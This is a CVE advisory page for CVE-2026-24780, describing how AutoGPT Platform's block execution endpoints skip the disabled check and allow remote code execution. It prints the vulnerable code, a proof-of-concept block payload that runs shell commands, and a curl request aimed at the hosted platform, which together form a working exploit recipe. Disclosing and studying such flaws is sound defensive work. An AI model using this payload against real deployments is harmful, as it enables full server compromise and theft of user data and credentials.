CVE-2026-24780 — Vulnerability in agpt — CVE Details
AutoGPT is Vulnerable to RCE via Disabled Block Execution
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (1.35%). Schedule for your next planned update.
Does your project use an affected agpt version?
Paste your requirements.txt to check it for CVE-2026-24780 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
AutoGPT Platform's block execution endpoints (both main web API and external API) allow executing blocks by UUID without checking the disabled flag. Any authenticated user can execute the disabled BlockInstallationBlock, which writes arbitrary Python code to the server filesystem and executes it via __import__(), achieving Remote Code Execution. In default self-hosted deployments where Supabase signup is enabled, an attacker can self-register; if signup is disabled (e.g., hosted), the attacker needs an existing account.
Details
Two vulnerable endpoints exist:
- Main Web API (
v1.py#L355-395) - Any authenticated user:
@v1_router.post(
path="/blocks/{block_id}/execute",
dependencies=[Security(requires_user)], # Just requires login
)
async def execute_graph_block(block_id: str, data: BlockInput, ...):
obj = get_block(block_id)
if not obj:
raise HTTPException(status_code=404, ...)
# NO CHECK FOR obj.disabled!
async for name, data in obj.execute(data, ...):
output[name].append(data)
- External API (
external/v1/routes.py#L79-93) - Same issue.
The external API is gated by API key permissions, but any authenticated user can mint API keys with arbitrary permissions via the main API (including EXECUTE_BLOCK) at v1.py#L1408-1424. As a result, a low-privilege user can create an API key and invoke the external block execution route.
The disabled flag is documented but not enforced:
From block.py#L459:
"disabled: If the block is disabled, it will not be available for execution."
The block listing endpoint correctly filters disabled blocks (if not b.disabled), but the execution endpoints do not check this flag.
The dangerous block (blocks/block.py#L15-78):
class BlockInstallationBlock(Block):
"""
NOTE: This block allows remote code execution on the server,
and it should be used for development purposes only.
"""
def __init__(self):
super().__init__(
id="45e78db5-03e9-447f-9395-308d712f5f08", # Hardcoded, public UUID
disabled=True, # NOT ENFORCED!
)
async def run(self, input_data: Input, **kwargs) -> BlockOutput:
code = input_data.code
# Writes attacker code to server filesystem
file_path = f"{block_dir}/{file_name}.py"
with open(file_path, "w") as f:
f.write(code)
# Executes via import (RCE)
module = __import__(module_name, fromlist=[class_name])
PoC
1. Create malicious block code
PAYLOAD = '''
import os
from backend.data.block import Block, BlockOutput, BlockSchemaInput, BlockSchemaOutput
from backend.data.model import SchemaField
class RCEBlock(Block):
class Input(BlockSchemaInput):
cmd: str = SchemaField(description="Command")
class Output(BlockSchemaOutput):
result: str = SchemaField(description="Result")
def __init__(self):
super().__init__(
id="aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
description="RCE",
input_schema=self.Input,
output_schema=self.Output,
)
async def run(self, input_data, **kwargs):
import subprocess
result = subprocess.check_output(input_data.cmd, shell=True).decode()
yield "result", result
'''
2. Execute via main web API (any logged-in user)
# Get session cookie by logging into the web UI, then:
curl -X POST "https://platform.autogpt.app/api/blocks/45e78db5-03e9-447f-9395-308d712f5f08/execute" \
-H "Cookie: session=<your_session_cookie>" \
-H "Content-Type: application/json" \
-d '{"code": "<PAYLOAD>"}'
The malicious Python code is written to the server's backend/blocks/ directory and immediately executed via __import__().
Alternative route: Mint an API key with EXECUTE_BLOCK via POST /api-keys, then call the external API POST /external-api/v1/blocks/{id}/execute.
Impact
Any user who can create an account on AutoGPT Platform can achieve full Remote Code Execution on the backend server.
This allows:
- Complete server compromise
- Access to all user data, credentials, and API keys stored in the database
- Access to environment variables (cloud credentials, secrets)
- Lateral movement to connected infrastructure (Redis, PostgreSQL, cloud services)
- Persistent backdoor installation
Attack requirements:
- Create a free account on the platform (default self-hosted enables signup; hosted deployments may disable signup, requiring an existing account)
- Know the disabled block's UUID (hardcoded in public source code:
45e78db5-03e9-447f-9395-308d712f5f08)
Why the disabled flag exists but fails:
- Block listing correctly filters disabled blocks (users don't see them in UI)
- Execution endpoints bypass this check entirely
- The UUID is static and publicly known from the open-source codebase
Severity note: CVSS assumes the default self-hosted configuration where signup is enabled (low-privilege authentication is easy to obtain). If signup is disabled in a hosted deployment, likelihood is lower, but impact remains critical once any authenticated account exists.
A fix is available, but was not published to the PyPI registry at time of publication: 0.6.44
Advisory Timeline
- First published January 29, 2026 (301 days ago).
- Last revised July 7, 2026 — 159 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| agpt PyPI · Affected: 0.2.2 | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.9 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
References
- https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-r277-3xc5-c79vWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-24780ADVISORY
- https://github.com/Significant-Gravitas/AutoGPTPACKAGE
- https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/external/v1/routes.py#L79-L93WEB
- https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L1408-L1424WEB
- https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/api/features/v1.py#L355-L395WEB
- https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/blocks/block.py#L15-L78WEB
- https://github.com/Significant-Gravitas/AutoGPT/blob/master/autogpt_platform/backend/backend/data/block.py#L459WEB
Frequently Asked Questions
- What is CVE-2026-24780?
- AutoGPT is Vulnerable to RCE via Disabled Block Execution. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.9/10).
- How do I check if my project is affected by CVE-2026-24780?
- CVE-2026-24780 affects agpt. It has a 1.4% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-24780 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is an above-median EPSS score — 71.7% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2024-6091CRITICAL
AutoGPT bypass of the shell commands denylist settings
- CVE-2024-6091CRITICAL
AutoGPT bypass of the shell commands denylist settings
- CVE-2026-128139HIGH
NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service
- CVE-2026-129222HIGH
Natural Language Toolkit (NLTK): Uncontrolled recursion (crash DoS) in DependencyGraph.tree()/triples()